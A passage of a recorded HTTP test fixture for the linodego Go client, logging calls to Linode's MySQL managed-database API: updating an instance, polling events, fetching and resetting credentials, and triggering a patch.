X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 1, "day_of_week": 7, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "635" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-mysql-test-def-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":1,"frequency":"monthly","hour_of_day":8,"week_of_month":3}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: PUT response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 67, "action": "database_update", "username": "zliang27", "entity": {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "646" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/ssl method: GET response: body: '{"ca_certificate": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "24" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/credentials method: GET response: body: '{"username": "linroot", "password": "fdKDP2hWbWctlF^w"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "55" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/credentials/reset method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/credentials method: GET response: body: '{"username": "linroot", "password": "sUOZkJ7_Otk6sdrf"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "55" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/patch method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, 